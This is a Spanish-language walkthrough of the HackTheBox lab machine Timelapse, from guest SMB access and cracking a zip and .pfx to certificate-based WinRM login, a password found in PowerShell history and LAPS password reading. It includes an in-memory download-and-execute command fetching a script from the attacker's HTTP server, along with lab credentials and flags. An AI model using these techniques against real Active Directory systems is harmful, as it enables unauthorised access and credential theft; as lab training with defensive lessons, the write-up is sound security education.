the_open_door
café
ESEN

Timelapse

HackTheBoxFácilWindows10.10.11.152

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#smb#laps#pfx#winrm-ssl#fcrackzip#pfx2john#powershell-history#evil-winrm
TL;DR. Timelapse es una máquina Windows fácil construida sobre un Active Directory. Una sesión guest en SMB deja ver un recurso compartido con un winrm_backup.zip. El zip está protegido, pero su contraseña es débil y la crackeamos con fcrackzip; dentro hay un .pfx (clave privada + certificado) también protegido, que crackeamos con pfx2john. Con la clave y el certificado nos autenticamos por WinRM sobre SSL como legacyy y cogemos la primera flag. En el historial de PowerShell del usuario aparece la contraseña en claro de svc_deploy, que pertenece al grupo LAPS Readers; abusando de ese permiso leemos la contraseña de Administrator que LAPS guarda en AD y entramos como administrador para leer root.txt.

Reconocimiento

Escaneo inicial

Empezamos con un ping. Además de confirmar que la máquina responde, el campo TTL (Time To Live) del paquete de vuelta da una pista del sistema operativo: cada SO inicia el TTL con un valor por defecto y cada router lo decrementa un punto por salto. Un valor cercano a 64 suele indicar Linux y uno cercano a 128, Windows. Aquí vuelve con ttl=127, un salto por debajo de 128, así que apunta a Windows (es un indicio, no una prueba).

ping -c 1 10.10.11.152

ping a Timelapse: el TTL 127 sugiere un sistema Windows

PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=110 ms

Antes del barrido TCP lanzamos un escaneo UDP a los puertos más comunes. Devuelve tres puertos muy reveladores: 53 (DNS), 88 (Kerberos) y 123 (NTP). Kerberos es el protocolo de autenticación de Active Directory, así que esta terna es la firma típica de un controlador de dominio.

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.152

nmap UDP: 53 DNS, 88 Kerberos y 123 NTP, la firma de un controlador de dominio

PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp

Ahora el TCP. Un escaneo completo (los 65535 puertos) seguido de uno con detección de versión y scripts por defecto (-sCV) sobre los puertos abiertos nos confirma el escenario.

El escaneo se lanza con jmap, una función del .zshrc que pide la IP por teclado y ejecuta ese nmap -p- --min-rate 5000 -sS -n -Pn --open guardando la salida en formato grepeable:

jmap
# 10.10.11.152

jmap escanea los 65535 puertos de 10.10.11.152 y descubre diecisiete abiertos, todos con syn-ack ttl 127

Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5986/tcp  open  wsmans           syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49695/tcp open  unknown          syn-ack ttl 127

Diecisiete puertos no se copian a mano: extractPorts resume el fichero y los deja en el portapapeles.

extractPorts scan

extractPorts resume el escaneo de Timelapse: IP 10.10.11.152 y los diecisiete puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.152
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49695

Ports copied to clipboard
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389 -sCV 10.10.11.152

nmap -sCV: Active Directory completo (Kerberos, LDAP, SMB) y un WinRM sobre SSL en el 5986

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: ...)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0.)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp open  tcpwrapped
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-cert: Subject: commonName=dc01.timelapse.htb
9389/tcp open  mc-nmf        .NET Message Framing

El escaneo confirma el dominio timelapse.htb (lo añadimos a /etc/hosts apuntando a la IP) y el host DC01. Lo más jugoso es el 5986: es WinRM sobre SSL/TLS. WinRM es el servicio de administración remota de Windows; lo habitual es entrar con usuario y contraseña o con un hash, pero la variante sobre SSL admite además autenticación por certificado de cliente (presentar una clave privada y un certificado en lugar de una contraseña). Anotamos ese detalle: cobrará sentido más adelante. Empezamos enumerando SMB.

SMB con sesión guest - TCP 445

Probamos SMB primero con una sesión nula (usuario y contraseña vacíos) y luego con el usuario guest. La sesión nula no devuelve nada, pero guest (una cuenta invitada que a veces queda habilitada) sí lista los recursos compartidos, y entre los habituales aparece uno no estándar llamado Shares.

netexec smb 10.10.11.152 -u '' -p '' --shares
netexec smb 10.10.11.152 -u 'guest' -p '' --shares

netexec con guest lista los recursos: aparece un share no estándar llamado Shares con permiso de lectura

SMB  10.10.11.152  445  DC01  [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb)
SMB  10.10.11.152  445  DC01  [+] timelapse.htb\guest:
SMB  10.10.11.152  445  DC01  Share       Permissions  Remark
SMB  10.10.11.152  445  DC01  ADMIN$                    Remote Admin
SMB  10.10.11.152  445  DC01  C$                        Default share
SMB  10.10.11.152  445  DC01  IPC$        READ          Remote IPC
SMB  10.10.11.152  445  DC01  NETLOGON                  Logon server share
SMB  10.10.11.152  445  DC01  Shares      READ          Logon server share
SMB  10.10.11.152  445  DC01  SYSVOL                    Logon server share

Nos conectamos a Shares con smbclient. Contiene dos carpetas: Dev y HelpDesk. En Dev hay un fichero winrm_backup.zip que descargamos a nuestra máquina.

smbclient //10.10.11.152/Shares -U guest
# password: (vacía)
cd Dev
get winrm_backup.zip

smbclient: la carpeta Dev contiene winrm_backup.zip, que descargamos

smb: \> dir
  Dev       D    0  Mon Oct 25 21:40:06 2021
  HelpDesk  D    0  Mon Oct 25 17:48:42 2021
smb: \Dev\> dir
  winrm_backup.zip  A  2611  Mon Oct 25 17:46:42 2021
smb: \Dev\> get winrm_backup.zip

La carpeta HelpDesk contiene cuatro ficheros relacionados con LAPS (LAPS.x64.msi, LAPS_Datasheet.docx, LAPS_OperationsGuide.docx, LAPS_TechnicalSpecification.docx). LAPS (Local Administrator Password Solution) es la herramienta de Microsoft que gestiona y rota la contraseña del administrador local de cada equipo, guardándola cifrada en Active Directory. Que estos ficheros estén aquí es una señal fuerte de que la máquina usa LAPS, dato que guardamos para la escalada.

cd ../HelpDesk
mget *

smbclient: la carpeta HelpDesk contiene los instaladores y la documentación de LAPS

smb: \HelpDesk\> dir
  LAPS.x64.msi                    A  1118208  Mon Oct 25 16:57:50 2021
  LAPS_Datasheet.docx             A   104422  Mon Oct 25 16:57:46 2021
  LAPS_OperationsGuide.docx       A   641378  Mon Oct 25 16:57:40 2021
  LAPS_TechnicalSpecification.docx A   72683  Mon Oct 25 16:57:44 2021

Los cuatro ficheros son el instalador y la documentación de LAPS, señal de que la máquina lo usa.

Shell como legacyy

Crackear winrm_backup.zip

Al intentar descomprimir el zip pide contraseña, y los intentos manuales fallan (incorrect password):

ls -l
unzip winrm_backup.zip

unzip winrm_backup.zip pide contraseña y falla con incorrect password sobre legacyy_dev_auth.pfx

$ ls -l
total 1900
-rw-r--r-- 1 root root 1118208 Nov  9 17:37 LAPS.x64.msi
-rw-r--r-- 1 root root  104422 Nov  9 17:37 LAPS_Datasheet.docx
-rw-r--r-- 1 root root  641378 Nov  9 17:37 LAPS_OperationsGuide.docx
-rw-r--r-- 1 root root   72683 Nov  9 17:37 LAPS_TechnicalSpecification.docx
-rw-r--r-- 1 root root    2611 Nov  9 17:35 winrm_backup.zip

$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
password incorrect--reenter:
password incorrect--reenter:
   skipping: legacyy_dev_auth.pfx    incorrect password

Como la contraseña podría ser débil, la atacamos offline con fcrackzip y el diccionario rockyou.txt. El ataque es local: no genera ruido ni bloqueos en ningún servicio.

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip

fcrackzip encuentra la contraseña del zip: supremelegacy

found file 'legacyy_dev_auth.pfx', (size cp/uc   2405/  2555, flags 9, chk 72aa)
PASSWORD FOUND!!!!: pw == supremelegacy

La contraseña es supremelegacy. Descomprimimos y obtenemos un único fichero: legacyy_dev_auth.pfx.

unzip winrm_backup.zip
# password: supremelegacy

unzip extrae legacyy_dev_auth.pfx del backup

Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
  inflating: legacyy_dev_auth.pfx

Crackear el .pfx y extraer clave y certificado

Un .pfx es un contenedor PKCS#12 que empaqueta una clave privada y su certificado, normalmente protegido por contraseña. El nombre del fichero (legacyy_dev_auth.pfx) sugiere que es material de autenticación del usuario legacyy, justo lo que necesita el WinRM por certificado del 5986. La contraseña del zip no sirve para abrir el .pfx (cada capa puede tener la suya), así que lo crackeamos por separado: pfx2john convierte el .pfx en un hash atacable.

pfx2john legacyy_dev_auth.pfx > hash

pfx2john genera el hash del .pfx a partir del fichero

legacyy_dev_auth.pfx:$pfxng$1$20$2000$20$eb755568327396de179c4a5d668ba8fe550ae18a$3082099c<SNIP>3465a6ce0c974055e6dcc74f0e893:::::legacyy_dev_auth.pfx

pfx2john convierte el contenedor PKCS#12 en un hash $pfxng$ atacable offline.

Ese hash lo rompemos con john y el mismo diccionario.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

john crackea el hash del .pfx y revela la contraseña thuglegacy

thuglegacy        (legacyy_dev_auth.pfx)
1g 0:00:00:40 DONE ...

La contraseña del .pfx es thuglegacy. Con ella, openssl extrae primero la clave privada (-nocerts, -nodes para que no la vuelva a cifrar) y después el certificado (-nokeys).

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes

openssl extrae la clave privada del .pfx a priv-key.pem

Enter Import Password:
$ ls
... hash  legacyy_dev_auth.pfx  priv-key.pem  winrm_backup.zip

Introducimos thuglegacy como Import Password y se genera priv-key.pem.

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem

openssl extrae el certificado del .pfx a certificate.pem

Enter Import Password:
$ ls
... certificate.pem  hash  legacyy_dev_auth.pfx  priv-key.pem  winrm_backup.zip

Del mismo modo se obtiene certificate.pem.

Ya tenemos los dos ficheros que necesita el WinRM sobre SSL: priv-key.pem y certificate.pem.

Acceso por WinRM SSL y user.txt

Presentamos la clave y el certificado a WinRM con evil-winrm, indicando -S (SSL), -c para el certificado y -k para la clave. Si el certificado está mapeado a una cuenta válida del dominio, entramos sin conocer ninguna contraseña.

evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S

evil-winrm con el certificado y la clave abre una sesión de PowerShell como legacyy

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

Tenemos una sesión interactiva de PowerShell como legacyy. La primera flag está en su escritorio.

type ..\Desktop\user.txt

user.txt leída como legacyy

4c00332659699540708175a60f669ec7

Shell como svc_deploy

Enumeración: el grupo LAPS Readers

Enumeramos las cuentas locales con net user y revisamos la que más nos interesa. La cuenta svc_deploy pertenece al grupo LAPS Readers: es decir, tiene permiso para leer las contraseñas que LAPS guarda en Active Directory. Los ficheros de LAPS que vimos por SMB cobran ahora todo el sentido. Si conseguimos esta cuenta, podremos leer la contraseña del Administrator.

net user
net user svc_deploy

net user svc_deploy: la cuenta pertenece al grupo LAPS Readers

Local Group Memberships  *Remote Management Use
Global Group memberships *LAPS Readers          *Domain Users

Historial de PowerShell: contraseña de svc_deploy

Uno de los primeros sitios que conviene mirar tras conseguir una shell en Windows es el historial de PowerShell, que PSReadLine guarda en disco y es legible por el propio usuario. Aquí está el premio: legacyy había ejecutado comandos que construyen una credencial de svc_deploy con la contraseña en texto plano.

type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

El historial de PowerShell contiene la contraseña en claro de svc_deploy

$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...

La contraseña de svc_deploy es E3R$Q62^12p7PLlC%KWaxuaV.

Pivote a svc_deploy

Reutilizamos esas credenciales con evil-winrm (de nuevo -S, porque WinRM va sobre SSL) para abrir una sesión como svc_deploy (reutilización de credenciales: una credencial recuperada se prueba en cada servicio, porque reutilizarlas es lo habitual).

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

evil-winrm abre una sesión como svc_deploy

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy

Shell como Administrator

Leer la contraseña de LAPS

Como svc_deploy está en LAPS Readers, podemos leer la contraseña del administrador local que LAPS almacena en el atributo ms-Mcs-AdmPwd del objeto de equipo. Para automatizarlo, descargamos en memoria el script Get-LAPSPasswords.ps1 desde nuestro servidor HTTP (sin tocar el disco) y lo ejecutamos.

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/Get-LAPSPasswords.ps1')

Se sirve Get-LAPSPasswords.ps1 por HTTP y la víctima lo descarga en memoria

# servidor HTTP del atacante
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.152 - - [10/Nov/2025 14:52:06] "GET /Get-LAPSPasswords.ps1 HTTP/1.1" 200 -

El log del servidor confirma que la víctima (10.10.11.152) descarga el script en memoria.

Get-LAPSPasswords

Get-LAPSPasswords revela la contraseña de Administrator que LAPS guarda en AD

Hostname : dc01.timelapse.htb
Stored   : 1
Readable : 1
Password : G3Tb0+Vv!e;;iy2a}K237gJH
Expiration : 11/15/2025 11:46:37 AM

El script vuelca la contraseña del administrador local de DC01: G3Tb0+Vv!e;;iy2a}K237gJH.

Acceso como Administrator y root.txt

Nos autenticamos por WinRM SSL como Administrator con esa contraseña.

evil-winrm -i 10.10.11.152 -u 'Administrator' -p 'G3Tb0+Vv!e;;iy2a}K237gJH' -S

evil-winrm abre una sesión como Administrator con la contraseña de LAPS

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator

La flag final no está en la ruta habitual (el escritorio del Administrator devuelve path does not exist):

type ..\Desktop\root.txt

type ..\Desktop\root.txt falla con Cannot find path en el escritorio del Administrator

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
Cannot find path 'C:\Users\Administrator\Desktop\root.txt' because it does not exist.
At line:1 char:1
+ type ..\Desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\Administrator\Desktop\root.txt:S
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentComma

Así que la buscamos de forma recursiva. Aparece en el escritorio de otro usuario (TRX).

Get-ChildItem -Recurse -Filter root.txt -ErrorAction SilentlyContinue
type C:\Users\TRX\Desktop\root.txt

root.txt localizada en C:\Users\TRX\Desktop y leída como Administrator

ad7ae96866727d4e4d1261120f1df1c6

Máquina rooteada.

Cadena de ataque

Todo el recorrido, de la sesión guest a la shell como Administrator, en un vistazo:

SMB sesión guest (445)  ─►  share Shares: Dev/winrm_backup.zip + HelpDesk/ (LAPS)
  │
  ▼
fcrackzip (rockyou)  ─►  zip: supremelegacy  ─►  legacyy_dev_auth.pfx
  │
  ▼
pfx2john + john  ─►  pfx: thuglegacy  ─►  openssl: priv-key.pem + certificate.pem
  │
  ▼
WinRM SSL por certificado (5986)  ─►  legacyy  ─►  user.txt
  │  historial de PowerShell
  ▼
svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV   (grupo LAPS Readers)
  │  Get-LAPSPasswords
  ▼
LAPS: contraseña local de Administrator  ─►  WinRM SSL  ─►  Administrator  ─►  root.txt

Lecciones aprendidas

  • Una cuenta guest habilitada es una puerta abierta. Sin credenciales reales, la sesión invitada de SMB bastó para listar un recurso compartido y descargar un backup con material de autenticación. Deshabilitar guest y revisar los permisos de cada share habría cortado el ataque en su origen.
  • Una contraseña débil no protege un fichero. El zip y el .pfx estaban "protegidos", pero ambas contraseñas estaban en rockyou.txt. El ataque offline no genera ruido ni bloqueos: una clave privada custodiada tras una contraseña débil es, en la práctica, una clave pública.
  • Un certificado y su clave privada son una credencial. El acceso por certificado dio una shell de legacyy sin conocer jamás su contraseña. Hay que custodiar las claves con el mismo cuidado que las contraseñas y no dejarlas en recursos compartidos.
  • No escribas secretos en la consola. La contraseña de svc_deploy apareció en claro en el historial de PowerShell. Usar Get-Credential interactivo o un gestor de secretos, y limpiar el historial en cuentas sensibles, habría evitado el pivote.
  • LAPS protege, pero solo si su lectura está bien restringida. LAPS hace bien su trabajo (contraseñas únicas y rotadas), pero una cuenta de servicio de bajo privilegio en el grupo LAPS Readers convierte ese permiso de lectura en un camino directo a Administrator. El privilegio de leer LAPS debe concederse al mínimo de cuentas posible y auditarse.
Cheatsheet de comandos 17 comandos

Repaso rápido